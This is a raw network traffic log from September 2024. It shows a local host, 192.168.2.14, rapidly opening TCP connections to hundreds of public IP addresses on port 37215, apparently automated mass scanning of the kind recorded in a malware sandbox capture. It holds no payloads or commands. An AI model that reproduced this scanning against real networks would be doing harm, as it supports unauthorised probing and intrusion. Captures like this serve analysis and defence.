Sep 25, 2024 14:14:12.470062971 CEST	40388	37215	192.168.2.14	197.105.233.84
Sep 25, 2024 14:14:12.470206022 CEST	37215	56458	197.232.26.242	192.168.2.14
Sep 25, 2024 14:14:12.470380068 CEST	37215	56714	197.232.26.242	192.168.2.14
Sep 25, 2024 14:14:12.470407963 CEST	56714	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:12.470518112 CEST	57044	37215	192.168.2.14	156.179.106.40
Sep 25, 2024 14:14:12.470550060 CEST	57044	37215	192.168.2.14	156.179.106.40
Sep 25, 2024 14:14:12.470860004 CEST	37215	52956	156.90.134.66	192.168.2.14
Sep 25, 2024 14:14:12.470973015 CEST	57300	37215	192.168.2.14	156.179.106.40
Sep 25, 2024 14:14:12.471026897 CEST	37215	53212	156.90.134.66	192.168.2.14
Sep 25, 2024 14:14:12.471098900 CEST	53212	37215	192.168.2.14	156.90.134.66
Sep 25, 2024 14:14:12.471424103 CEST	44282	37215	192.168.2.14	41.130.204.108
Sep 25, 2024 14:14:12.471424103 CEST	44282	37215	192.168.2.14	41.130.204.108
Sep 25, 2024 14:14:12.471695900 CEST	37215	41954	41.108.0.157	192.168.2.14
Sep 25, 2024 14:14:12.471700907 CEST	37215	50304	41.118.111.214	192.168.2.14
Sep 25, 2024 14:14:12.471710920 CEST	37215	35768	41.127.125.4	192.168.2.14
Sep 25, 2024 14:14:12.471714973 CEST	37215	53772	197.58.23.178	192.168.2.14
Sep 25, 2024 14:14:12.471724987 CEST	37215	40414	41.206.233.3	192.168.2.14
Sep 25, 2024 14:14:12.471791029 CEST	44538	37215	192.168.2.14	41.130.204.108
Sep 25, 2024 14:14:12.471824884 CEST	37215	50600	156.81.106.200	192.168.2.14
Sep 25, 2024 14:14:12.471828938 CEST	37215	39006	41.0.9.95	192.168.2.14
Sep 25, 2024 14:14:12.471837997 CEST	37215	42656	41.153.113.249	192.168.2.14
Sep 25, 2024 14:14:12.471843004 CEST	37215	44234	156.37.0.164	192.168.2.14
Sep 25, 2024 14:14:12.471847057 CEST	37215	44490	156.37.0.164	192.168.2.14
Sep 25, 2024 14:14:12.471856117 CEST	37215	54992	156.180.154.78	192.168.2.14
Sep 25, 2024 14:14:12.471900940 CEST	44490	37215	192.168.2.14	156.37.0.164
Sep 25, 2024 14:14:12.472265959 CEST	42568	37215	192.168.2.14	197.17.158.253
Sep 25, 2024 14:14:12.472265959 CEST	42568	37215	192.168.2.14	197.17.158.253
Sep 25, 2024 14:14:12.472346067 CEST	37215	55248	156.180.154.78	192.168.2.14
Sep 25, 2024 14:14:12.472351074 CEST	37215	46186	156.155.163.180	192.168.2.14
Sep 25, 2024 14:14:12.472420931 CEST	55248	37215	192.168.2.14	156.180.154.78
Sep 25, 2024 14:14:12.472651958 CEST	42824	37215	192.168.2.14	197.17.158.253
Sep 25, 2024 14:14:12.472791910 CEST	37215	46442	156.155.163.180	192.168.2.14
Sep 25, 2024 14:14:12.472868919 CEST	46442	37215	192.168.2.14	156.155.163.180
Sep 25, 2024 14:14:12.473047018 CEST	37215	54460	156.14.29.34	192.168.2.14
Sep 25, 2024 14:14:12.473216057 CEST	50086	37215	192.168.2.14	41.14.114.34
Sep 25, 2024 14:14:12.473216057 CEST	50086	37215	192.168.2.14	41.14.114.34
Sep 25, 2024 14:14:12.473390102 CEST	37215	54716	156.14.29.34	192.168.2.14
Sep 25, 2024 14:14:12.473418951 CEST	54716	37215	192.168.2.14	156.14.29.34
Sep 25, 2024 14:14:12.473628998 CEST	50342	37215	192.168.2.14	41.14.114.34
Sep 25, 2024 14:14:12.473902941 CEST	37215	55334	197.212.255.42	192.168.2.14
Sep 25, 2024 14:14:12.474075079 CEST	37215	55590	197.212.255.42	192.168.2.14
Sep 25, 2024 14:14:12.474106073 CEST	55590	37215	192.168.2.14	197.212.255.42
Sep 25, 2024 14:14:12.474273920 CEST	39832	37215	192.168.2.14	156.169.23.31
Sep 25, 2024 14:14:12.474273920 CEST	39832	37215	192.168.2.14	156.169.23.31
Sep 25, 2024 14:14:12.474808931 CEST	37215	47130	41.254.134.205	192.168.2.14
Sep 25, 2024 14:14:12.474855900 CEST	40088	37215	192.168.2.14	156.169.23.31
Sep 25, 2024 14:14:12.474968910 CEST	37215	47386	41.254.134.205	192.168.2.14
Sep 25, 2024 14:14:12.475030899 CEST	47386	37215	192.168.2.14	41.254.134.205
Sep 25, 2024 14:14:12.475339890 CEST	37215	42730	156.118.4.206	192.168.2.14
Sep 25, 2024 14:14:12.475511074 CEST	43716	37215	192.168.2.14	41.155.176.52
Sep 25, 2024 14:14:12.475511074 CEST	43716	37215	192.168.2.14	41.155.176.52
Sep 25, 2024 14:14:12.475677013 CEST	37215	49006	41.164.245.164	192.168.2.14
Sep 25, 2024 14:14:12.475867987 CEST	37215	48292	41.172.110.5	192.168.2.14
Sep 25, 2024 14:14:12.475872040 CEST	37215	42852	156.53.157.21	192.168.2.14
Sep 25, 2024 14:14:12.475924969 CEST	43972	37215	192.168.2.14	41.155.176.52
Sep 25, 2024 14:14:12.476015091 CEST	37215	42986	156.118.4.206	192.168.2.14
Sep 25, 2024 14:14:12.476058006 CEST	42986	37215	192.168.2.14	156.118.4.206
Sep 25, 2024 14:14:12.476413965 CEST	37215	40132	197.105.233.84	192.168.2.14
Sep 25, 2024 14:14:12.476577044 CEST	42636	37215	192.168.2.14	197.76.33.3
Sep 25, 2024 14:14:12.476577044 CEST	42636	37215	192.168.2.14	197.76.33.3
Sep 25, 2024 14:14:12.476752996 CEST	37215	40388	197.105.233.84	192.168.2.14
Sep 25, 2024 14:14:12.476830959 CEST	40388	37215	192.168.2.14	197.105.233.84
Sep 25, 2024 14:14:12.477070093 CEST	37215	57044	156.179.106.40	192.168.2.14
Sep 25, 2024 14:14:12.477154970 CEST	42892	37215	192.168.2.14	197.76.33.3
Sep 25, 2024 14:14:12.477545977 CEST	37215	57300	156.179.106.40	192.168.2.14
Sep 25, 2024 14:14:12.477615118 CEST	57300	37215	192.168.2.14	156.179.106.40
Sep 25, 2024 14:14:12.477811098 CEST	55698	37215	192.168.2.14	41.70.223.81
Sep 25, 2024 14:14:12.477811098 CEST	55698	37215	192.168.2.14	41.70.223.81
Sep 25, 2024 14:14:12.478121042 CEST	37215	44282	41.130.204.108	192.168.2.14
Sep 25, 2024 14:14:12.478235960 CEST	55954	37215	192.168.2.14	41.70.223.81
Sep 25, 2024 14:14:12.478470087 CEST	37215	44538	41.130.204.108	192.168.2.14
Sep 25, 2024 14:14:12.478533030 CEST	44538	37215	192.168.2.14	41.130.204.108
Sep 25, 2024 14:14:12.478893995 CEST	51040	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:12.478893995 CEST	51040	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:12.479032993 CEST	37215	42568	197.17.158.253	192.168.2.14
Sep 25, 2024 14:14:12.479336023 CEST	37215	42824	197.17.158.253	192.168.2.14
Sep 25, 2024 14:14:12.479389906 CEST	42824	37215	192.168.2.14	197.17.158.253
Sep 25, 2024 14:14:12.479609013 CEST	37215	50892	156.85.177.51	192.168.2.14
Sep 25, 2024 14:14:12.479613066 CEST	51296	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:12.479614019 CEST	37215	45956	156.236.134.70	192.168.2.14
Sep 25, 2024 14:14:12.479623079 CEST	37215	49438	156.178.49.196	192.168.2.14
Sep 25, 2024 14:14:12.479628086 CEST	37215	50086	41.14.114.34	192.168.2.14
Sep 25, 2024 14:14:12.479692936 CEST	37215	50342	41.14.114.34	192.168.2.14
Sep 25, 2024 14:14:12.479696989 CEST	37215	39832	156.169.23.31	192.168.2.14
Sep 25, 2024 14:14:12.479753971 CEST	50342	37215	192.168.2.14	41.14.114.34
Sep 25, 2024 14:14:12.480036020 CEST	37215	40088	156.169.23.31	192.168.2.14
Sep 25, 2024 14:14:12.480077028 CEST	40088	37215	192.168.2.14	156.169.23.31
Sep 25, 2024 14:14:12.480263948 CEST	57780	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:12.480263948 CEST	57780	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:12.480674028 CEST	58036	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:12.481347084 CEST	48540	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:12.481347084 CEST	48540	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:12.481781006 CEST	48796	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:12.482011080 CEST	37215	43716	41.155.176.52	192.168.2.14
Sep 25, 2024 14:14:12.482273102 CEST	59126	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:12.482273102 CEST	59126	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:12.482462883 CEST	37215	43972	41.155.176.52	192.168.2.14
Sep 25, 2024 14:14:12.482508898 CEST	43972	37215	192.168.2.14	41.155.176.52
Sep 25, 2024 14:14:12.482645988 CEST	59382	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:12.482754946 CEST	37215	42636	197.76.33.3	192.168.2.14
Sep 25, 2024 14:14:12.482922077 CEST	37215	54318	41.139.18.55	192.168.2.14
Sep 25, 2024 14:14:12.482927084 CEST	37215	55828	197.253.49.237	192.168.2.14
Sep 25, 2024 14:14:12.482935905 CEST	37215	52932	197.135.92.242	192.168.2.14
Sep 25, 2024 14:14:12.482939959 CEST	37215	38080	41.201.175.19	192.168.2.14
Sep 25, 2024 14:14:12.483030081 CEST	37215	42892	197.76.33.3	192.168.2.14
Sep 25, 2024 14:14:12.483062029 CEST	42892	37215	192.168.2.14	197.76.33.3
Sep 25, 2024 14:14:12.483154058 CEST	37215	55698	41.70.223.81	192.168.2.14
Sep 25, 2024 14:14:12.483211994 CEST	50540	37215	192.168.2.14	197.211.174.27
Sep 25, 2024 14:14:12.483211994 CEST	50540	37215	192.168.2.14	197.211.174.27
Sep 25, 2024 14:14:12.483540058 CEST	37215	55954	41.70.223.81	192.168.2.14
Sep 25, 2024 14:14:12.483577967 CEST	55954	37215	192.168.2.14	41.70.223.81
Sep 25, 2024 14:14:12.483777046 CEST	50796	37215	192.168.2.14	197.211.174.27
Sep 25, 2024 14:14:12.484143019 CEST	45856	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:12.484169960 CEST	45856	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:12.484633923 CEST	46112	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:12.484965086 CEST	41522	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:12.484965086 CEST	41522	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:12.485346079 CEST	41778	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:12.485661983 CEST	37215	51040	156.2.239.14	192.168.2.14
Sep 25, 2024 14:14:12.485838890 CEST	44932	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:12.485838890 CEST	44932	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:12.486215115 CEST	45188	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:12.486232042 CEST	37215	57766	41.218.100.111	192.168.2.14
Sep 25, 2024 14:14:12.486237049 CEST	37215	47026	41.203.2.228	192.168.2.14
Sep 25, 2024 14:14:12.486244917 CEST	37215	55680	41.118.189.247	192.168.2.14
Sep 25, 2024 14:14:12.486249924 CEST	37215	45244	197.151.246.17	192.168.2.14
Sep 25, 2024 14:14:12.486691952 CEST	38276	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:12.486691952 CEST	38276	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:12.487102032 CEST	38532	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:12.487143993 CEST	37215	57780	156.0.246.2	192.168.2.14
Sep 25, 2024 14:14:12.487591028 CEST	44262	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:12.487591028 CEST	44262	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:12.487895966 CEST	44518	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:12.488375902 CEST	35076	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:12.488375902 CEST	35076	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:12.488399982 CEST	37215	48540	41.104.163.68	192.168.2.14
Sep 25, 2024 14:14:12.488791943 CEST	35332	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:12.489398956 CEST	37215	59126	197.159.134.131	192.168.2.14
Sep 25, 2024 14:14:12.489468098 CEST	48068	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:12.489468098 CEST	48068	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:12.489960909 CEST	37215	50540	197.211.174.27	192.168.2.14
Sep 25, 2024 14:14:12.489965916 CEST	37215	54492	197.209.97.208	192.168.2.14
Sep 25, 2024 14:14:12.489975929 CEST	37215	41084	41.250.164.45	192.168.2.14
Sep 25, 2024 14:14:12.489979982 CEST	37215	60822	197.48.130.100	192.168.2.14
Sep 25, 2024 14:14:12.489989042 CEST	37215	54076	197.154.137.148	192.168.2.14
Sep 25, 2024 14:14:12.489991903 CEST	37215	59384	156.22.110.107	192.168.2.14
Sep 25, 2024 14:14:12.490000963 CEST	37215	35492	41.82.232.246	192.168.2.14
Sep 25, 2024 14:14:12.490004063 CEST	37215	55490	156.249.130.124	192.168.2.14
Sep 25, 2024 14:14:12.490044117 CEST	48324	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:12.490955114 CEST	60556	37215	192.168.2.14	197.85.20.91
Sep 25, 2024 14:14:12.490972042 CEST	60556	37215	192.168.2.14	197.85.20.91
Sep 25, 2024 14:14:12.491528988 CEST	37215	50796	197.211.174.27	192.168.2.14
Sep 25, 2024 14:14:12.491566896 CEST	50796	37215	192.168.2.14	197.211.174.27
Sep 25, 2024 14:14:12.491945982 CEST	60812	37215	192.168.2.14	197.85.20.91
Sep 25, 2024 14:14:12.491969109 CEST	37215	45856	156.16.94.219	192.168.2.14
Sep 25, 2024 14:14:12.492693901 CEST	37215	41522	197.156.198.167	192.168.2.14
Sep 25, 2024 14:14:12.492702961 CEST	49670	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:12.492739916 CEST	49670	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:12.493314981 CEST	49926	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:12.493537903 CEST	37215	44932	41.123.151.76	192.168.2.14
Sep 25, 2024 14:14:12.494205952 CEST	34432	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:12.494322062 CEST	34432	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:12.495104074 CEST	37215	41702	197.120.188.58	192.168.2.14
Sep 25, 2024 14:14:12.495201111 CEST	37215	42482	41.91.175.25	192.168.2.14
Sep 25, 2024 14:14:12.495201111 CEST	34688	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:12.495204926 CEST	37215	43584	197.209.0.69	192.168.2.14
Sep 25, 2024 14:14:12.495213985 CEST	37215	55024	41.78.144.231	192.168.2.14
Sep 25, 2024 14:14:12.495218039 CEST	37215	45874	197.34.128.199	192.168.2.14
Sep 25, 2024 14:14:12.495222092 CEST	37215	51782	197.239.155.59	192.168.2.14
Sep 25, 2024 14:14:12.495230913 CEST	37215	38276	156.113.97.1	192.168.2.14
Sep 25, 2024 14:14:12.495235920 CEST	37215	44262	156.196.69.185	192.168.2.14
Sep 25, 2024 14:14:12.496207952 CEST	34430	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:12.496207952 CEST	34430	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:12.496675968 CEST	34686	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:12.496730089 CEST	37215	35076	41.75.134.209	192.168.2.14
Sep 25, 2024 14:14:12.497214079 CEST	37215	48068	41.203.219.24	192.168.2.14
Sep 25, 2024 14:14:12.497508049 CEST	33780	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:12.497508049 CEST	33780	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:12.498334885 CEST	34036	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:12.499316931 CEST	52706	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:12.499336004 CEST	52706	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:12.499797106 CEST	52962	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:12.499954939 CEST	37215	55696	197.252.100.138	192.168.2.14
Sep 25, 2024 14:14:12.499959946 CEST	37215	50356	197.97.143.250	192.168.2.14
Sep 25, 2024 14:14:12.499969006 CEST	37215	59926	197.230.188.227	192.168.2.14
Sep 25, 2024 14:14:12.499984980 CEST	37215	54664	197.92.57.124	192.168.2.14
Sep 25, 2024 14:14:12.499989033 CEST	37215	41636	156.73.31.180	192.168.2.14
Sep 25, 2024 14:14:12.499999046 CEST	37215	60556	197.85.20.91	192.168.2.14
Sep 25, 2024 14:14:12.500004053 CEST	37215	60812	197.85.20.91	192.168.2.14
Sep 25, 2024 14:14:12.500013113 CEST	37215	49670	156.165.179.233	192.168.2.14
Sep 25, 2024 14:14:12.500016928 CEST	37215	34432	156.188.18.156	192.168.2.14
Sep 25, 2024 14:14:12.500031948 CEST	60812	37215	192.168.2.14	197.85.20.91
Sep 25, 2024 14:14:12.500217915 CEST	52382	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:12.500217915 CEST	52382	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:12.500626087 CEST	52638	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:12.501138926 CEST	37660	37215	192.168.2.14	156.105.111.2
Sep 25, 2024 14:14:12.501147032 CEST	60534	37215	192.168.2.14	197.105.105.62
Sep 25, 2024 14:14:12.501159906 CEST	58220	37215	192.168.2.14	197.195.215.228
Sep 25, 2024 14:14:12.501180887 CEST	50860	37215	192.168.2.14	41.144.112.76
Sep 25, 2024 14:14:12.501180887 CEST	52300	37215	192.168.2.14	197.215.137.238
Sep 25, 2024 14:14:12.501194954 CEST	38752	37215	192.168.2.14	41.98.227.98
Sep 25, 2024 14:14:12.501198053 CEST	40906	37215	192.168.2.14	156.32.42.163
Sep 25, 2024 14:14:12.501198053 CEST	34708	37215	192.168.2.14	41.218.248.203
Sep 25, 2024 14:14:12.501200914 CEST	36828	37215	192.168.2.14	156.7.180.15
Sep 25, 2024 14:14:12.501203060 CEST	37966	37215	192.168.2.14	197.231.213.174
Sep 25, 2024 14:14:12.501204967 CEST	38998	37215	192.168.2.14	156.91.174.178
Sep 25, 2024 14:14:12.501221895 CEST	54700	37215	192.168.2.14	156.190.198.120
Sep 25, 2024 14:14:12.501221895 CEST	37374	37215	192.168.2.14	41.155.56.243
Sep 25, 2024 14:14:12.501226902 CEST	52456	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:12.501255035 CEST	33902	37215	192.168.2.14	156.55.88.200
Sep 25, 2024 14:14:12.501260042 CEST	41616	37215	192.168.2.14	41.240.99.197
Sep 25, 2024 14:14:12.501261950 CEST	40026	37215	192.168.2.14	197.144.251.169
Sep 25, 2024 14:14:12.501261950 CEST	35320	37215	192.168.2.14	41.50.90.84
Sep 25, 2024 14:14:12.501269102 CEST	48274	37215	192.168.2.14	197.237.148.180
Sep 25, 2024 14:14:12.501275063 CEST	55040	37215	192.168.2.14	41.193.139.67
Sep 25, 2024 14:14:12.501279116 CEST	42180	37215	192.168.2.14	197.202.40.81
Sep 25, 2024 14:14:12.501291990 CEST	43554	37215	192.168.2.14	41.225.68.243
Sep 25, 2024 14:14:12.501312017 CEST	59128	37215	192.168.2.14	156.123.186.109
Sep 25, 2024 14:14:12.501312971 CEST	54662	37215	192.168.2.14	41.17.5.69
Sep 25, 2024 14:14:12.501316071 CEST	53530	37215	192.168.2.14	197.69.151.113
Sep 25, 2024 14:14:12.501322985 CEST	40830	37215	192.168.2.14	197.27.71.218
Sep 25, 2024 14:14:12.501332998 CEST	47742	37215	192.168.2.14	41.222.122.162
Sep 25, 2024 14:14:12.501343012 CEST	39010	37215	192.168.2.14	197.233.180.85
Sep 25, 2024 14:14:12.501362085 CEST	47930	37215	192.168.2.14	197.160.218.177
Sep 25, 2024 14:14:12.501363039 CEST	51804	37215	192.168.2.14	156.77.18.48
Sep 25, 2024 14:14:12.501368999 CEST	54762	37215	192.168.2.14	197.19.140.61
Sep 25, 2024 14:14:12.501393080 CEST	50856	37215	192.168.2.14	156.81.106.200
Sep 25, 2024 14:14:12.501394987 CEST	60260	37215	192.168.2.14	156.167.26.116
Sep 25, 2024 14:14:12.501394987 CEST	40670	37215	192.168.2.14	41.206.233.3
Sep 25, 2024 14:14:12.501416922 CEST	36024	37215	192.168.2.14	41.127.125.4
Sep 25, 2024 14:14:12.501420975 CEST	54028	37215	192.168.2.14	197.58.23.178
Sep 25, 2024 14:14:12.501420975 CEST	50560	37215	192.168.2.14	41.118.111.214
Sep 25, 2024 14:14:12.501427889 CEST	42912	37215	192.168.2.14	41.153.113.249
Sep 25, 2024 14:14:12.501429081 CEST	42210	37215	192.168.2.14	41.108.0.157
Sep 25, 2024 14:14:12.501456022 CEST	48548	37215	192.168.2.14	41.172.110.5
Sep 25, 2024 14:14:12.501470089 CEST	39262	37215	192.168.2.14	41.0.9.95
Sep 25, 2024 14:14:12.501470089 CEST	43108	37215	192.168.2.14	156.53.157.21
Sep 25, 2024 14:14:12.501475096 CEST	49262	37215	192.168.2.14	41.164.245.164
Sep 25, 2024 14:14:12.501475096 CEST	49694	37215	192.168.2.14	156.178.49.196
Sep 25, 2024 14:14:12.501492977 CEST	51148	37215	192.168.2.14	156.85.177.51
Sep 25, 2024 14:14:12.501494884 CEST	46212	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:12.501497984 CEST	38336	37215	192.168.2.14	41.201.175.19
Sep 25, 2024 14:14:12.501513004 CEST	56084	37215	192.168.2.14	197.253.49.237
Sep 25, 2024 14:14:12.501523972 CEST	54574	37215	192.168.2.14	41.139.18.55
Sep 25, 2024 14:14:12.501534939 CEST	53188	37215	192.168.2.14	197.135.92.242
Sep 25, 2024 14:14:12.501534939 CEST	45500	37215	192.168.2.14	197.151.246.17
Sep 25, 2024 14:14:12.501534939 CEST	55936	37215	192.168.2.14	41.118.189.247
Sep 25, 2024 14:14:12.501543045 CEST	47282	37215	192.168.2.14	41.203.2.228
Sep 25, 2024 14:14:12.501552105 CEST	55746	37215	192.168.2.14	156.249.130.124
Sep 25, 2024 14:14:12.501554966 CEST	58022	37215	192.168.2.14	41.218.100.111
Sep 25, 2024 14:14:12.501569033 CEST	35748	37215	192.168.2.14	41.82.232.246
Sep 25, 2024 14:14:12.501589060 CEST	59640	37215	192.168.2.14	156.22.110.107
Sep 25, 2024 14:14:12.501591921 CEST	54332	37215	192.168.2.14	197.154.137.148
Sep 25, 2024 14:14:12.501591921 CEST	32846	37215	192.168.2.14	197.48.130.100
Sep 25, 2024 14:14:12.501619101 CEST	41340	37215	192.168.2.14	41.250.164.45
Sep 25, 2024 14:14:12.501621962 CEST	46130	37215	192.168.2.14	197.34.128.199
Sep 25, 2024 14:14:12.501621962 CEST	54748	37215	192.168.2.14	197.209.97.208
Sep 25, 2024 14:14:12.501621962 CEST	52038	37215	192.168.2.14	197.239.155.59
Sep 25, 2024 14:14:12.501630068 CEST	55280	37215	192.168.2.14	41.78.144.231
Sep 25, 2024 14:14:12.501637936 CEST	43840	37215	192.168.2.14	197.209.0.69
Sep 25, 2024 14:14:12.501653910 CEST	41958	37215	192.168.2.14	197.120.188.58
Sep 25, 2024 14:14:12.501665115 CEST	55952	37215	192.168.2.14	197.252.100.138
Sep 25, 2024 14:14:12.501673937 CEST	42738	37215	192.168.2.14	41.91.175.25
Sep 25, 2024 14:14:12.501677036 CEST	41892	37215	192.168.2.14	156.73.31.180
Sep 25, 2024 14:14:12.501692057 CEST	60182	37215	192.168.2.14	197.230.188.227
Sep 25, 2024 14:14:12.501693964 CEST	54920	37215	192.168.2.14	197.92.57.124
Sep 25, 2024 14:14:12.501709938 CEST	50612	37215	192.168.2.14	197.97.143.250
Sep 25, 2024 14:14:12.501712084 CEST	46192	37215	192.168.2.14	197.250.119.4
Sep 25, 2024 14:14:12.501723051 CEST	50866	37215	192.168.2.14	41.195.147.108
Sep 25, 2024 14:14:12.501738071 CEST	43874	37215	192.168.2.14	156.9.136.189
Sep 25, 2024 14:14:12.501739979 CEST	33568	37215	192.168.2.14	41.120.46.143
Sep 25, 2024 14:14:12.501745939 CEST	51930	37215	192.168.2.14	156.2.243.208
Sep 25, 2024 14:14:12.501756907 CEST	50122	37215	192.168.2.14	156.126.243.85
Sep 25, 2024 14:14:12.501760006 CEST	53724	37215	192.168.2.14	197.75.201.244
Sep 25, 2024 14:14:12.501771927 CEST	56682	37215	192.168.2.14	156.69.218.3
Sep 25, 2024 14:14:12.501777887 CEST	32866	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:12.501807928 CEST	53540	37215	192.168.2.14	197.121.164.75
Sep 25, 2024 14:14:12.501818895 CEST	42032	37215	192.168.2.14	156.132.215.112
Sep 25, 2024 14:14:12.501820087 CEST	37330	37215	192.168.2.14	41.37.226.104
Sep 25, 2024 14:14:12.501821041 CEST	38032	37215	192.168.2.14	197.125.0.253
Sep 25, 2024 14:14:12.501821041 CEST	53212	37215	192.168.2.14	156.90.134.66
Sep 25, 2024 14:14:12.501822948 CEST	56714	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:12.501833916 CEST	44490	37215	192.168.2.14	156.37.0.164
Sep 25, 2024 14:14:12.501856089 CEST	54716	37215	192.168.2.14	156.14.29.34
Sep 25, 2024 14:14:12.501863003 CEST	55248	37215	192.168.2.14	156.180.154.78
Sep 25, 2024 14:14:12.501863003 CEST	46442	37215	192.168.2.14	156.155.163.180
Sep 25, 2024 14:14:12.501873016 CEST	55590	37215	192.168.2.14	197.212.255.42
Sep 25, 2024 14:14:12.501878977 CEST	47386	37215	192.168.2.14	41.254.134.205
Sep 25, 2024 14:14:12.501914024 CEST	42824	37215	192.168.2.14	197.17.158.253
Sep 25, 2024 14:14:12.501929998 CEST	40088	37215	192.168.2.14	156.169.23.31
Sep 25, 2024 14:14:12.501946926 CEST	42892	37215	192.168.2.14	197.76.33.3
Sep 25, 2024 14:14:12.501949072 CEST	43972	37215	192.168.2.14	41.155.176.52
Sep 25, 2024 14:14:12.501950026 CEST	42986	37215	192.168.2.14	156.118.4.206
Sep 25, 2024 14:14:12.501952887 CEST	44538	37215	192.168.2.14	41.130.204.108
Sep 25, 2024 14:14:12.501952887 CEST	40388	37215	192.168.2.14	197.105.233.84
Sep 25, 2024 14:14:12.501952887 CEST	50342	37215	192.168.2.14	41.14.114.34
Sep 25, 2024 14:14:12.501952887 CEST	57300	37215	192.168.2.14	156.179.106.40
Sep 25, 2024 14:14:12.501970053 CEST	50796	37215	192.168.2.14	197.211.174.27
Sep 25, 2024 14:14:12.501970053 CEST	55954	37215	192.168.2.14	41.70.223.81
Sep 25, 2024 14:14:12.501970053 CEST	60812	37215	192.168.2.14	197.85.20.91
Sep 25, 2024 14:14:12.502007008 CEST	53922	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:12.502007008 CEST	53922	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:12.502336979 CEST	54178	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:12.502420902 CEST	37215	50610	41.195.147.108	192.168.2.14
Sep 25, 2024 14:14:12.502427101 CEST	37215	33312	41.120.46.143	192.168.2.14
Sep 25, 2024 14:14:12.502435923 CEST	37215	43618	156.9.136.189	192.168.2.14
Sep 25, 2024 14:14:12.502439022 CEST	37215	45936	197.250.119.4	192.168.2.14
Sep 25, 2024 14:14:12.502449036 CEST	37215	34430	197.74.234.63	192.168.2.14
Sep 25, 2024 14:14:12.502561092 CEST	37215	33780	41.135.24.40	192.168.2.14
Sep 25, 2024 14:14:12.502845049 CEST	37210	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:12.502845049 CEST	37210	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:12.503211021 CEST	37466	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:12.503976107 CEST	48026	37215	192.168.2.14	197.212.59.163
Sep 25, 2024 14:14:12.504811049 CEST	40252	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:12.505549908 CEST	41280	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:12.505740881 CEST	37215	52706	156.225.72.240	192.168.2.14
Sep 25, 2024 14:14:12.505831003 CEST	37215	52382	41.119.194.26	192.168.2.14
Sep 25, 2024 14:14:12.505853891 CEST	37215	60842	156.231.58.213	192.168.2.14
Sep 25, 2024 14:14:12.505920887 CEST	37215	56426	156.69.218.3	192.168.2.14
Sep 25, 2024 14:14:12.505925894 CEST	37215	53468	197.75.201.244	192.168.2.14
Sep 25, 2024 14:14:12.505930901 CEST	37215	49866	156.126.243.85	192.168.2.14
Sep 25, 2024 14:14:12.506367922 CEST	57664	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:12.506887913 CEST	37215	51674	156.2.243.208	192.168.2.14
Sep 25, 2024 14:14:12.507271051 CEST	56138	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:12.507981062 CEST	37215	37660	156.105.111.2	192.168.2.14
Sep 25, 2024 14:14:12.508013964 CEST	37660	37215	192.168.2.14	156.105.111.2
